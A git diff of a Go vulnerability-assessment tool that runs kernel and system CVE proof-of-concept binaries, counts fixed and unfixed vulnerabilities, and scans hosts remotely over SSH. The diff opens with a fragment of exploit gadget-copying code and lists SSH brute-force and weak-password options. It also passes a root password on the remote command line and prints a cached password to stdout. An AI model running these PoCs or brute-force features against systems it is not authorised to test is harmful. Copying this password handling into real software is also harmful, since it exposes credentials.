);
|
||||
}
|
||||
|
||||
void copyLeakGadget(uint8_t *dst){
|
||||
memcpy(dst,RD_GADGET,sizeof(RD_GADGET));
|
||||
}
|
||||
|
||||
void copyRetGadget(uint8_t *dst){
|
||||
memcpy(dst,RET_GADGET,sizeof(RET_GADGET));
|
||||
}
|
|
@ -1,8 +1,8 @@
|
|||
ConfigFilePrefix: ../data/KernelPocs/
|
||||
Type: kernel
|
||||
ExplorerItems:
|
||||
# - ConfigFile: CVE-2021-22555/CVE-2021-22555.yaml
|
||||
# - ConfigFile: CVE-2022-2588/CVE-2022-2588.yaml
|
||||
- ConfigFile: CVE-2021-22555/CVE-2021-22555.yaml
|
||||
- ConfigFile: CVE-2022-2588/CVE-2022-2588.yaml
|
||||
# - ConfigFile: CVE-2022-2639/CVE-2022-2639.yaml
|
||||
# - ConfigFile: CVE-2022-1015/CVE-2022-1015.yaml
|
||||
- ConfigFile: CVE-2022-0847/CVE-2022-0847.yaml
|
||||
|
@ -10,11 +10,16 @@ ExplorerItems:
|
|||
# - ConfigFile: CVE-2022-25636/CVE-2022-25636.yaml
|
||||
# - ConfigFile: CVE-2022-0995/CVE-2022-0995.yaml
|
||||
# - ConfigFile: CVE-2023-0179/CVE-2023-0179.yaml
|
||||
- ConfigFile: CVE-2022-24122/CVE-2022-24122.yaml
|
||||
- ConfigFile: CVE-2022-0185/CVE-2022-0185.yaml
|
||||
- ConfigFile: CVE-2022-1679/CVE-2022-1679.yaml
|
||||
# - ConfigFile: CVE-2022-24122/CVE-2022-24122.yaml
|
||||
# - ConfigFile: CVE-2022-0185/CVE-2022-0185.yaml
|
||||
# - ConfigFile: CVE-2022-1679/CVE-2022-1679.yaml
|
||||
|
||||
- ConfigFile: CVE-2022-0185/CVE-2022-34918.yaml
|
||||
- ConfigFile: CVE-2022-32250/CVE-2022-32250.yaml
|
||||
- ConfigFile: CVE-2022-23222/CVE-2022-23222.yaml
|
||||
- ConfigFile: CVE-2021-41073/CVE-2021-41073.yaml
|
||||
- ConfigFile: CVE-2021-41073/CVE-2021-41073.yaml
|
||||
- ConfigFile: CVE-2023-0045/CVE-2023-0045.yaml
|
||||
# - ConfigFile: CVE-2022-0185/CVE-2022-34918.yaml
|
||||
# - ConfigFile: CVE-2022-32250/CVE-2022-32250.yaml
|
||||
# - ConfigFile: CVE-2022-23222/CVE-2022-23222.yaml
|
||||
# - ConfigFile: CVE-2021-41073/CVE-2021-41073.yaml
|
||||
|
|
|
@ -0,0 +1,39 @@
|
|||
{
|
||||
"RCServerUUID": "aea559b6-f17c-439d-875d-e4ab32458381",
|
||||
"RCServerName": "123",
|
||||
"RCFamily": "RCFamily",
|
||||
"RCRelease": "RCRelease",
|
||||
"RCContainer": "RCContainer",
|
||||
"RCExploredType": "BaseLine",
|
||||
"RCExploredTimeAt": "2023-04-04T13:52:27.290528233+08:00",
|
||||
"RCExploredMode": "RCExploredMode",
|
||||
"RCExploredVersion": "RCExploredVersion",
|
||||
"RCExploredRevision": "RCExploredRevision",
|
||||
"RCExploredBy": "RCExploredBy",
|
||||
"RCExploredVia": "RCExploredVia",
|
||||
"RCExploredIPv4Addrs": [
|
||||
"0.0.0.0"
|
||||
],
|
||||
"RCExploredIPv6Addrs": [
|
||||
"0.0.0.0"
|
||||
],
|
||||
"RCReportedAt": "2023-04-04T13:52:27.292744018+08:00",
|
||||
"RCReportedVersion": "RCReportedVersion",
|
||||
"RCReportedBy": "RCReportedBy",
|
||||
"RCElapsedTime": 2215958,
|
||||
"RCErrors": "RCErrors",
|
||||
"RCWarnings": "RCWarnings",
|
||||
"RCExploredVulns": null,
|
||||
"RCReunningKernelInfo": {
|
||||
"RKRelease": "0.0",
|
||||
"RKVersion": "0.0",
|
||||
"RKRebootRequired": false
|
||||
},
|
||||
"RCPackages": "RCPackages",
|
||||
"RCSrcPackages": "RCSrcPackages",
|
||||
"RCOptional": "RCOptional",
|
||||
"RCExecPocNums": 10,
|
||||
"RCRepairedNums": 6,
|
||||
"RCNotFixedNums": 0,
|
||||
"RCNotExecPocNums": 4
|
||||
}
|
Binary file not shown.
Binary file not shown.
|
@ -30,4 +30,3 @@ ExplorerItems:
|
|||
- ConfigFile: CVE-2019-7304/CVE-2019-7304.yaml
|
||||
- ConfigFile: CVE-2019-18634/CVE-2019-18634.yaml
|
||||
- ConfigFile: CVE-2022-3602/CVE-2022-3602.yaml
|
||||
>>>>>>> master
|
||||
|
|
|
@ -3,6 +3,7 @@ package Cache
|
|||
import (
|
||||
"log"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type MyStruct struct {
|
||||
|
@ -16,7 +17,8 @@ type Cache struct{
|
|||
SystemCache map[string]string
|
||||
}
|
||||
|
||||
func SiteCache() *cache.Cache{
|
||||
|
||||
func SiteCache(passwd string) *cache.Cache{
|
||||
// 创建一个不会过期的缓存
|
||||
c := cache.New(0,0)
|
||||
// 声明map
|
||||
|
@ -25,9 +27,8 @@ func SiteCache() *cache.Cache{
|
|||
cacheVul.BaseLineCache = make(map[string]string)
|
||||
cacheVul.WebCache = make(map[string]string)
|
||||
cacheVul.SystemCache = make(map[string]string)
|
||||
cacheVul.KernelCache["1"] = "宋江"
|
||||
cacheVul.KernelCache["2"] = "李逵"
|
||||
cacheVul.WebCache["1"] = "李逵2"
|
||||
cacheVul.KernelCache["testkernl"] = "testkernel"
|
||||
|
||||
|
||||
//kernel 的poc存储到缓存
|
||||
c.Set("kernel", &MyStruct{Msg: cacheVul.KernelCache}, cache.DefaultExpiration)
|
||||
|
@ -38,6 +39,14 @@ func SiteCache() *cache.Cache{
|
|||
//baseline 的poc存储到缓存
|
||||
c.Set("baseline", &MyStruct{Msg: cacheVul.BaseLineCache}, cache.DefaultExpiration)
|
||||
|
||||
c.Set("foo", passwd, cache.DefaultExpiration)
|
||||
|
||||
value, found := c.Get("foo")
|
||||
if !found {
|
||||
fmt.Println("缓存中未找到键 'foo'")
|
||||
}else{
|
||||
fmt.Println(value)
|
||||
}
|
||||
log.Println("缓存中.......")
|
||||
return c
|
||||
}
|
||||
|
|
|
@ -56,7 +56,6 @@ func
|
|||
defer configfile.Close()
|
||||
|
||||
decoder := yaml.NewDecoder(configfile)
|
||||
|
||||
for (nil == rc) { // decode yaml file if nil != rc
|
||||
config := ConfigParserYAML{}
|
||||
rc = decoder.Decode(config)
|
||||
|
|
|
@ -32,7 +32,9 @@ import (
|
|||
"fmt"
|
||||
"os"
|
||||
"sync"
|
||||
"os/exec"
|
||||
"time"
|
||||
"log"
|
||||
"github.com/mitchellh/mapstructure"
|
||||
"github.com/google/uuid"
|
||||
sandbox "main/genmai/Sandbox"
|
||||
|
@ -53,6 +55,8 @@ doctor struct {
|
|||
ExplorersSystem map[string]ExplorerSystem
|
||||
ExplorersWeb map[string]ExplorerWeb
|
||||
ExplorersBaseLine map[string]ExplorerBaseLine
|
||||
Passwd string
|
||||
Remote string
|
||||
}
|
||||
|
||||
|
||||
|
@ -77,6 +81,18 @@ ExplorersListConfig struct {
|
|||
var (
|
||||
instance *doctor
|
||||
once sync.Once
|
||||
BaseLineExecPoc int = 0
|
||||
BaseLineRepairedNums int = 0
|
||||
BaseLineNotFixedNums int = 0
|
||||
BaseLineNotExecPocNums int = 0
|
||||
SystemExecPoc int = 0
|
||||
SystemRepairedNums int = 0
|
||||
SystemNotFixedNums int = 0
|
||||
SystemNotExecPocNums int = 0
|
||||
KernelExecPoc int = 0
|
||||
KernelRepairedNums int = 0
|
||||
KernelNotFixedNums int = 0
|
||||
KernelNotExecPocNums int = 0
|
||||
)
|
||||
|
||||
func
|
||||
|
@ -145,6 +161,7 @@ func
|
|||
// return rps
|
||||
}
|
||||
|
||||
|
||||
func
|
||||
(dtr *doctor)GenmaiBaseline() (rp *ReportBaseLine) {
|
||||
|
||||
|
@ -194,33 +211,50 @@ func
|
|||
var expvuls []VulnInfoCommon
|
||||
/* */
|
||||
for _, v := range dtr.ExplorersBaseLine {
|
||||
BaseLineExecPoc =BaseLineExecPoc+1
|
||||
go func(v_ ExplorerBaseLine) {
|
||||
defer wg.Done()
|
||||
|
||||
rcvul:=dtr.BaseLineControl(v_)
|
||||
if rcvul==true{
|
||||
BaseLineNotExecPocNums=BaseLineNotExecPocNums+1
|
||||
}
|
||||
expvul, rc := v_.Explore()
|
||||
|
||||
// TODO: is append expvul to expvuls according to rc
|
||||
if nil != rc {
|
||||
}
|
||||
|
||||
// TODO: is append expvul to expvuls according to rc
|
||||
lock_expvuls.Lock()
|
||||
defer lock_expvuls.Unlock()
|
||||
if len(expvul.VICId) !=0{
|
||||
BaseLineNotFixedNums =BaseLineNotFixedNums+1
|
||||
infoExist:="Baseline info: "+expvul.VICId+" exists"
|
||||
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 32, infoExist, 0x1B)
|
||||
expvuls = append(expvuls, expvul)
|
||||
}else{
|
||||
BaseLineRepairedNums=BaseLineRepairedNums+1
|
||||
}
|
||||
} (v)
|
||||
|
||||
} // for _, v ...
|
||||
/* */
|
||||
wg.Wait()
|
||||
|
||||
/* */
|
||||
BaseLineRepairedNums=BaseLineRepairedNums-BaseLineNotExecPocNums
|
||||
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,"=================Baseline Scan Results====================\n" , 0x1B)
|
||||
fmt.Println("BaseLineExecPoc: ",BaseLineExecPoc)
|
||||
fmt.Println("BaseLineRepairedNums: ",BaseLineRepairedNums)
|
||||
fmt.Println("BaseLineNotFixedNums:",BaseLineNotFixedNums)
|
||||
fmt.Println("BaseLineNotExecPocNums",BaseLineNotExecPocNums)
|
||||
// TODO: should be type: ConfigCommon..
|
||||
rp.RCExploredVulns = expvuls
|
||||
/* */
|
||||
rp.RCReportedAt = time.Now()
|
||||
rp.RCElapsedTime = time.Since(rp.RCExploredTimeAt)
|
||||
/*Exec result */
|
||||
rp.RCExecPocNums = BaseLineExecPoc
|
||||
rp.RCRepairedNums = BaseLineRepairedNums
|
||||
rp.RCNotFixedNums = BaseLineNotFixedNums
|
||||
rp.RCNotExecPocNums = BaseLineNotExecPocNums
|
||||
|
||||
return rp
|
||||
}
|
||||
|
@ -272,9 +306,16 @@ func
|
|||
var expvuls []VulnInfoCommon
|
||||
/* */
|
||||
for _, v := range dtr.ExplorersKernel {
|
||||
KernelExecPoc =KernelExecPoc+1
|
||||
go func(v_ ExplorerKernel) {
|
||||
defer wg.Done()
|
||||
|
||||
result:=dtr.KernelControl(v_)
|
||||
if result==true{
|
||||
KernelNotExecPocNums=KernelNotExecPocNums+1
|
||||
return
|
||||
}
|
||||
|
||||
expvul, rc := v_.Explore()
|
||||
|
||||
// TODO: is append expvul to expvuls according to rc
|
||||
|
@ -284,23 +325,34 @@ func
|
|||
lock_expvuls.Lock()
|
||||
defer lock_expvuls.Unlock()
|
||||
if len(expvul.VICId) !=0{
|
||||
KernelNotFixedNums = KernelNotFixedNums + 1
|
||||
expvuls = append(expvuls, expvul)
|
||||
}else{
|
||||
KernelRepairedNums = KernelRepairedNums + 1
|
||||
}
|
||||
} (v)
|
||||
|
||||
} // for _, v ...
|
||||
/* */
|
||||
wg.Wait()
|
||||
|
||||
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,"==================Kernel Scan Results=====================\n" , 0x1B)
|
||||
fmt.Println("KernelExecPoc: ",KernelExecPoc)
|
||||
fmt.Println("KernelRepairedNums: ",KernelRepairedNums)
|
||||
fmt.Println("KernelNotFixedNums:",KernelNotFixedNums)
|
||||
fmt.Println("KernelNotExecPocNums",KernelNotExecPocNums)
|
||||
// TODO: should be type: ConfigCommon..
|
||||
rp.RCExploredVulns = expvuls
|
||||
/* */
|
||||
rp.RCReportedAt = time.Now()
|
||||
rp.RCElapsedTime = time.Since(rp.RCExploredTimeAt)
|
||||
/*Exec result */
|
||||
rp.RCExecPocNums = KernelExecPoc
|
||||
rp.RCRepairedNums = KernelRepairedNums
|
||||
rp.RCNotFixedNums = KernelNotFixedNums
|
||||
rp.RCNotExecPocNums = KernelNotExecPocNums
|
||||
|
||||
return rp
|
||||
}
|
||||
|
||||
func
|
||||
(dtr *doctor)GenmaiSystem() (rp *ReportSystem) {
|
||||
rp = GetTemplateReportSystem()
|
||||
|
@ -348,6 +400,7 @@ func
|
|||
lock_expvuls := sync.Mutex{}
|
||||
var expvuls []VulnInfoCommon
|
||||
for _, v := range dtr.ExplorersSystem {
|
||||
SystemExecPoc = SystemExecPoc + 1
|
||||
go func(v_ ExplorerSystem) {
|
||||
defer wg.Done()
|
||||
|
||||
|
@ -360,7 +413,10 @@ func
|
|||
defer lock_expvuls.Unlock()
|
||||
|
||||
if len(expvul.VICId) !=0{
|
||||
SystemNotFixedNums = SystemNotFixedNums + 1
|
||||
expvuls = append(expvuls, expvul)
|
||||
}else{
|
||||
SystemRepairedNums = SystemRepairedNums + 1
|
||||
}
|
||||
} (v)
|
||||
|
||||
|
@ -368,11 +424,22 @@ func
|
|||
/* */
|
||||
wg.Wait()
|
||||
|
||||
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,"==================System Scan Results=====================\n" , 0x1B)
|
||||
fmt.Println("SystemExecPoc: ",SystemExecPoc)
|
||||
fmt.Println("SystemRepairedNums: ",SystemRepairedNums)
|
||||
fmt.Println("SystemNotFixedNums:",SystemNotFixedNums)
|
||||
fmt.Println("SystemNotExecPocNums",SystemNotExecPocNums)
|
||||
// TODO: should be type: ConfigCommon..
|
||||
rp.RCExploredVulns = expvuls
|
||||
/* */
|
||||
rp.RCReportedAt = time.Now()
|
||||
rp.RCElapsedTime = time.Since(rp.RCExploredTimeAt)
|
||||
/*Exec result */
|
||||
rp.RCExecPocNums = SystemExecPoc
|
||||
rp.RCRepairedNums = SystemRepairedNums
|
||||
rp.RCNotFixedNums = SystemNotFixedNums
|
||||
rp.RCNotExecPocNums = SystemNotExecPocNums
|
||||
|
||||
return rp
|
||||
}
|
||||
|
||||
|
@ -424,7 +491,7 @@ func
|
|||
// dtr.PushExplorerWeb(exp.ConfigFile)
|
||||
case EXP_TYPE_BASELINE:
|
||||
for _, exp := range elc.ExplorerItems {
|
||||
dtr.PushExplorerBaseLine(elc.ConfigFilePrefix + exp.ConfigFile, elc.RootPasswd)
|
||||
dtr.PushExplorerBaseLine(elc.ConfigFilePrefix + exp.ConfigFile)
|
||||
} // for exp ...
|
||||
default:
|
||||
A_DEBUG_ERROR("Unknow exp type!!")
|
||||
|
@ -460,7 +527,6 @@ func
|
|||
ek := ExplorerKernel{}
|
||||
ek.Setup(&ConfigParserYAML{}, &ExplorerConfigKernel{})
|
||||
ek.LoadConfig(configfile)
|
||||
|
||||
ek.SetupSandbox(&sandbox.SandboxDefault{})
|
||||
|
||||
config, rc := ek.GetExplorerConfigKernel()
|
||||
|
@ -514,7 +580,7 @@ func
|
|||
}
|
||||
|
||||
func
|
||||
(dtr *doctor)PushExplorerBaseLine(configfile string, passwd string) error {
|
||||
(dtr *doctor)PushExplorerBaseLine(configfile string) error {
|
||||
// TODO: need to test
|
||||
eb := ExplorerBaseLine{}
|
||||
eb.Setup(&ConfigParserYAML{}, &ExplorerConfigBaseLine{})
|
||||
|
@ -525,7 +591,44 @@ func
|
|||
return rc
|
||||
} // if (nil != ...
|
||||
|
||||
eb.Passwd = passwd
|
||||
eb.Passwd = dtr.Passwd
|
||||
dtr.ExplorersBaseLine[config.Id] = eb
|
||||
return nil
|
||||
}
|
||||
func
|
||||
(dtr *doctor)SetPasswd(passwd string){
|
||||
dtr.Passwd = passwd
|
||||
}
|
||||
func(dtr *doctor)ExecEmpowerment(path string){
|
||||
cmd := exec.Command("chmod", "a+x", path)
|
||||
err := cmd.Run()
|
||||
if err != nil {
|
||||
fmt.Println("cmd.Run() failed with %s\n", err)
|
||||
log.Fatalf("cmd.Run() failed with %s\n", err)
|
||||
}
|
||||
}
|
||||
func
|
||||
(dtr *doctor)BaseLineControl(v interface{})(bool){
|
||||
IfRootPower:=v.(ExplorerBaseLine).ExplorerCommon.EcConfig.(*ExplorerConfigBaseLine).Power
|
||||
if IfRootPower=="root" && dtr.Passwd ==""{
|
||||
return true
|
||||
}else{
|
||||
return false
|
||||
}
|
||||
}
|
||||
func
|
||||
(dtr *doctor)KernelControl(v interface{})(bool){
|
||||
PocHazardLevel := v.(ExplorerKernel).ExplorerCommon.EcConfig.(*ExplorerConfigKernel).PocHazardLevel
|
||||
KernelExecDir := v.(ExplorerKernel).ExplorerCommon.EcConfigFilePrefix
|
||||
config := v.(ExplorerKernel).ExplorerCommon.EcConfig.(*ExplorerConfigKernel).SiteRequests.ImArray
|
||||
var KernelExecFile string
|
||||
for _, im := range config{
|
||||
KernelExecFile = KernelExecDir+"/"+im.Exec
|
||||
}
|
||||
dtr.ExecEmpowerment(KernelExecFile)
|
||||
if PocHazardLevel !="low"{
|
||||
return true
|
||||
}else{
|
||||
return false
|
||||
}
|
||||
}
|
|
@ -187,7 +187,6 @@ func
|
|||
/* */
|
||||
return VulnInfoCommon{}, rc
|
||||
}
|
||||
|
||||
///////////////
|
||||
// starting explore
|
||||
var vul string
|
||||
|
|
|
@ -55,6 +55,7 @@ ExplorerSystem struct {
|
|||
EsSandbox sandbox.SandboxBase
|
||||
}
|
||||
|
||||
|
||||
var errMap = map[string]string{
|
||||
"0":"signal: segmentation fault (core dumped)",
|
||||
"1":"signal: aborted (core dumped)",
|
||||
|
|
|
@ -4,6 +4,7 @@ import (
|
|||
"github.com/pkg/sftp"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"io/ioutil"
|
||||
"encoding/json"
|
||||
// "io"
|
||||
"strings"
|
||||
"path/filepath"
|
||||
|
@ -24,6 +25,14 @@ type ClientConfig struct {
|
|||
LastResult string //最近一次运行的结果
|
||||
}
|
||||
|
||||
type Json struct {
|
||||
Time string `json:"RCExploredTimeAt"`
|
||||
ExecPocNums int `json:"RCExecPocNums"`
|
||||
RCRepairedNums int `json:"RCRepairedNums"`
|
||||
RCNotFixedNums int `json:"RCNotFixedNums"`
|
||||
RCNotExecPocNums int `json:"RCNotExecPocNums"`
|
||||
}
|
||||
|
||||
// Create ssh/ftp client
|
||||
func (cliConf *ClientConfig) createClient(host string, port int, username, password string) {
|
||||
var (
|
||||
|
@ -122,14 +131,20 @@ func (cliConf *ClientConfig) uploadFile(localFilePath string, remotePath string)
|
|||
|
||||
// Get remote report
|
||||
func (cliConf *ClientConfig) Download(srcPath, dstPath string){
|
||||
srcFile, _ := cliConf.sftpClient.Open(srcPath) //remote
|
||||
dstFile, _ := os.Create(dstPath) //loacl
|
||||
srcFile, err:= cliConf.sftpClient.Open(srcPath) //remote
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
dstFile, err:= os.Create(dstPath) //loacl
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
defer func() {
|
||||
_ = srcFile.Close()
|
||||
_ = dstFile.Close()
|
||||
}()
|
||||
if _, err := srcFile.WriteTo(dstFile); err != nil {
|
||||
log.Fatalln("error occurred", err)
|
||||
fmt.Println("error occurred", err)
|
||||
}
|
||||
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 32,"File download completed\n" , 0x1B)
|
||||
}
|
||||
|
@ -178,7 +193,20 @@ func hostKeyCallback(hostname string, remote net.Addr, key ssh.PublicKey) error
|
|||
return nil
|
||||
}
|
||||
|
||||
func RemoteScan(host string,port int,user string,passwd string,RemoteArg []string) {
|
||||
//文件检测是否存在
|
||||
func PathExists(path string)(bool,error){
|
||||
_,err := os.Stat(path)
|
||||
if err == nil{
|
||||
return true,nil
|
||||
}
|
||||
//isnotexist来判断,是不是不存在的错误
|
||||
if os.IsNotExist(err){ //如果返回的错误类型使用os.isNotExist()判断为true,说明文件或者文件夹不存在
|
||||
return false,nil
|
||||
}
|
||||
return false,err//如果有错误了,但是不是不存在的错误,所以把这个错误原封不动的返回
|
||||
}
|
||||
|
||||
func RemoteScan(host string,port int,user string,passwd string,RemoteArg []string,RootPasswd string) {
|
||||
|
||||
cliConf := new(ClientConfig)
|
||||
cliConf.createClient(host, port, user, passwd)
|
||||
|
@ -215,7 +243,7 @@ func RemoteScan(host string,port int,user string,passwd string,RemoteArg []strin
|
|||
}
|
||||
hostname=strings.TrimSpace(hostname)
|
||||
hostname=strings.Replace(hostname, " ", "_", -1)
|
||||
commandShell:="cd genmai/src/ ;" + "./main " + command + "-OutPutJson="+hostname
|
||||
commandShell:="cd genmai/src/ ;" + "./main " + command + "-OutPutJson="+hostname + " -rootpwd=" + RootPasswd
|
||||
result:=cliConf.RunShell(commandShell)
|
||||
fmt.Println(result)
|
||||
// //从服务器中下载文件
|
||||
|
@ -227,5 +255,28 @@ func RemoteScan(host string,port int,user string,passwd string,RemoteArg []strin
|
|||
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,loaclPath , 0x1B)
|
||||
cliConf.Download(remotePath, loaclPath) //文件下载完毕
|
||||
}
|
||||
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,"========================END==============================\n" , 0x1B)
|
||||
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,"=====================Scan Results========================\n" , 0x1B)
|
||||
for i:=0;i<len(RemoteArg);i++{
|
||||
loaclPath:="../data/Report/"+RemoteArg[i]+"_"+hostname+".json"
|
||||
jsonFile, err := os.Open(loaclPath)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
defer jsonFile.Close()
|
||||
|
||||
jsonData, err := ioutil.ReadAll(jsonFile)
|
||||
if err!= nil {
|
||||
fmt.Println("error reading json file")
|
||||
}
|
||||
var jsonvul Json
|
||||
json.Unmarshal(jsonData,&jsonvul)
|
||||
v:=RemoteArg[i]+":"
|
||||
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33, v, 0x1B)
|
||||
fmt.Println("Time : ",jsonvul.Time)
|
||||
fmt.Println("Total number of POCs executed : ",jsonvul.ExecPocNums)
|
||||
fmt.Println("Number of vulnerabilities fixed : ",jsonvul.RCRepairedNums)
|
||||
fmt.Println("Number of unfixed vulnerabilities : ",jsonvul.RCNotFixedNums)
|
||||
fmt.Println("Number of POCs not executed : ",jsonvul.RCNotExecPocNums)
|
||||
}
|
||||
fmt.Printf("\n%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,"========================END==============================\n" , 0x1B)
|
||||
}
|
|
@ -32,6 +32,10 @@ GetTemplateReportBaseLine() (*ReportBaseLine) {
|
|||
RCContainer: "RCContainer",
|
||||
/* */
|
||||
RCExploredTimeAt: time.Now(),
|
||||
RCExecPocNums: 0,
|
||||
RCRepairedNums: 0,
|
||||
RCNotFixedNums: 0,
|
||||
RCNotExecPocNums: 0,
|
||||
RCExploredMode: "RCExploredMode",
|
||||
RCExploredVersion: "RCExploredVersion",
|
||||
RCExploredRevision: "RCExploredRevision",
|
||||
|
|
|
@ -86,6 +86,10 @@ ReportCommon struct {
|
|||
RCPackages string // TBD: type
|
||||
RCSrcPackages string // TBD: type
|
||||
RCOptional string // TBD: type
|
||||
RCExecPocNums int //执行poc总数
|
||||
RCRepairedNums int //未修复漏洞个数
|
||||
RCNotFixedNums int //已修复漏洞个数
|
||||
RCNotExecPocNums int //未执行poc个数
|
||||
}
|
||||
|
||||
type
|
||||
|
|
|
@ -60,6 +60,10 @@ GetTemplateReportKernel() (*ReportKernel) {
|
|||
RCContainer: "RCContainer",
|
||||
/* */
|
||||
RCExploredTimeAt: time.Now(),
|
||||
RCExecPocNums: 0,
|
||||
RCRepairedNums: 0,
|
||||
RCNotFixedNums: 0,
|
||||
RCNotExecPocNums: 0,
|
||||
RCExploredMode: "RCExploredMode",
|
||||
RCExploredVersion: "RCExploredVersion",
|
||||
RCExploredRevision: "RCExploredRevision",
|
||||
|
|
|
@ -63,6 +63,10 @@ GetTemplateReportSystem() (*ReportSystem) {
|
|||
RCContainer: "RCContainer",
|
||||
/* */
|
||||
RCExploredTimeAt: time.Now(),
|
||||
RCExecPocNums: 0,
|
||||
RCRepairedNums: 0,
|
||||
RCNotFixedNums: 0,
|
||||
RCNotExecPocNums: 0,
|
||||
RCExploredMode: "RCExploredMode",
|
||||
RCExploredVersion: "RCExploredVersion",
|
||||
RCExploredRevision: "RCExploredRevision",
|
||||
|
|
|
@ -1,38 +0,0 @@
|
|||
package genmai
|
||||
import(
|
||||
"fmt"
|
||||
"bytes"
|
||||
"os/exec"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
func Update(){
|
||||
currentDir, err:= os.Getwd()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
} else {
|
||||
}
|
||||
currentDir=currentDir+"/../"
|
||||
os.Chdir(currentDir)
|
||||
|
||||
currentDir, err = os.Getwd()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
} else {
|
||||
cmd := exec.Command("git","pull")
|
||||
var stdout, stderr bytes.Buffer
|
||||
cmd.Stdout = &stdout // 标准输出
|
||||
cmd.Stderr = &stderr // 标准错误
|
||||
err := cmd.Run()
|
||||
outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
|
||||
if len(errStr)!=0{
|
||||
fmt.Printf(errStr)
|
||||
}
|
||||
outStr=strings.TrimSpace(outStr)
|
||||
if err != nil {
|
||||
fmt.Println("Updte Err:", err)
|
||||
}
|
||||
fmt.Println(outStr)
|
||||
}
|
||||
|
||||
}
|
209
src/main.go
209
src/main.go
|
@ -8,7 +8,9 @@ import (
|
|||
"fmt"
|
||||
"encoding/json"
|
||||
"os"
|
||||
|
||||
"bytes"
|
||||
"os/exec"
|
||||
"strings"
|
||||
genmai "main/genmai"
|
||||
"main/tools/SSHExplosion"
|
||||
"main/tools/FastScan"
|
||||
|
@ -16,41 +18,42 @@ import (
|
|||
// gcon "main/gconsole"
|
||||
)
|
||||
type Args struct{
|
||||
ParserNum int //协程数
|
||||
System string //执行系统漏洞检测
|
||||
Web string //Web漏洞检测
|
||||
Kernel string //内核漏洞检测
|
||||
Fuzz string //Fuzz
|
||||
BaseLine string //基线检测
|
||||
Update string //更新软件
|
||||
Docs string //生成报告
|
||||
PoolStatNum int //启动协程任务数
|
||||
IP string //web 制定IP
|
||||
MD string //生成MD文件
|
||||
RemoteAssessment string //远程检测,所需参数在RAVUL中
|
||||
WKPWD string //弱口令生成,所需参数在WKPWDVUL结构体中
|
||||
SSHBurst string //SSH爆破
|
||||
Nmap string //Nmap模块,端口和IP放在RAVUL中
|
||||
Fofa string //fofa接口调用,需要输入查询命令
|
||||
FastScan string //快速扫描模式/版本匹配
|
||||
OutPutJson string //输出json格式结果
|
||||
ParserNum int //协程数
|
||||
System string //执行系统漏洞检测
|
||||
Web string //Web漏洞检测
|
||||
Kernel string //内核漏洞检测
|
||||
Fuzz string //Fuzz
|
||||
BaseLine string //基线检测
|
||||
Update string //更新软件
|
||||
Docs string //生成报告
|
||||
PoolStatNum int //启动协程任务数
|
||||
IP string //web 制定IP
|
||||
MD string //生成MD文件
|
||||
RemoteAssessment string //远程检测,所需参数在RAVUL中
|
||||
WKPWD string //弱口令生成,所需参数在WKPWDVUL结构体中
|
||||
SSHBurst string //SSH爆破
|
||||
Nmap string //Nmap模块,端口和IP放在RAVUL中
|
||||
Fofa string //fofa接口调用,需要输入查询命令
|
||||
FastScan string //快速扫描模式/版本匹配
|
||||
OutPutJson string //输出json格式结果
|
||||
RootPasswd string //Root密码
|
||||
}
|
||||
|
||||
type FofaCommand struct{
|
||||
FofaCom string
|
||||
FofaCom string
|
||||
}
|
||||
|
||||
type RAVUL struct{
|
||||
Host string //主机IP
|
||||
User string //用户名
|
||||
Password string //密码
|
||||
Port string //端口
|
||||
Host string //主机IP
|
||||
User string //用户名
|
||||
Password string //密码
|
||||
Port string //端口
|
||||
}
|
||||
|
||||
type WKPWDVUL struct{
|
||||
CompanyName string //公司名
|
||||
Name string //名字
|
||||
Nums string //特殊数字
|
||||
CompanyName string //公司名
|
||||
Name string //名字
|
||||
Nums string //特殊数字
|
||||
}
|
||||
|
||||
func main(){
|
||||
|
@ -90,11 +93,11 @@ func main(){
|
|||
|
||||
//识别参数,执行模块
|
||||
flag.IntVar(&args.ParserNum, "poolNums", 100,
|
||||
"设置协程的数量,默认数量为0,最大数量为1000")
|
||||
"设置协程的数量,默认数量为0,最大数量为1000")
|
||||
flag.StringVar(&args.Web, "web", "false",
|
||||
"使用web漏洞的验证模块,可联合其他模块使用")
|
||||
"使用web漏洞的验证模块,可联合其他模块使用")
|
||||
flag.StringVar(&args.IP, "ip", "false",
|
||||
"设置ip,可设置ip段进行验证")
|
||||
"设置ip,可设置ip段进行验证")
|
||||
flag.StringVar(&args.System, "system", "false",
|
||||
"使用系统漏洞的验证模块,可联合其他模块使用")
|
||||
flag.StringVar(&args.Kernel, "kernel", "false",
|
||||
|
@ -111,6 +114,8 @@ func main(){
|
|||
flag.StringVar(&RAV.Password, "passwd", "false", "远程登录密码")
|
||||
|
||||
|
||||
//需要高权限执行时所需要root密码
|
||||
flag.StringVar(&args.RootPasswd, "rootpwd", "", "需要高权限执行时所需要root密码")
|
||||
|
||||
//弱密码生成模块
|
||||
WK := flag.Bool("WKPWD", false,
|
||||
|
@ -141,7 +146,7 @@ func main(){
|
|||
|
||||
//
|
||||
All := flag.Bool("all", false,
|
||||
"只扫描system,kernel的所有poc以及检测baselin模块,不可联合其他参数使用")
|
||||
"只扫描system,kernel的所有poc以及检测baselin模块,不可联合其他参数使用")
|
||||
|
||||
Update := flag.Bool("update", false,
|
||||
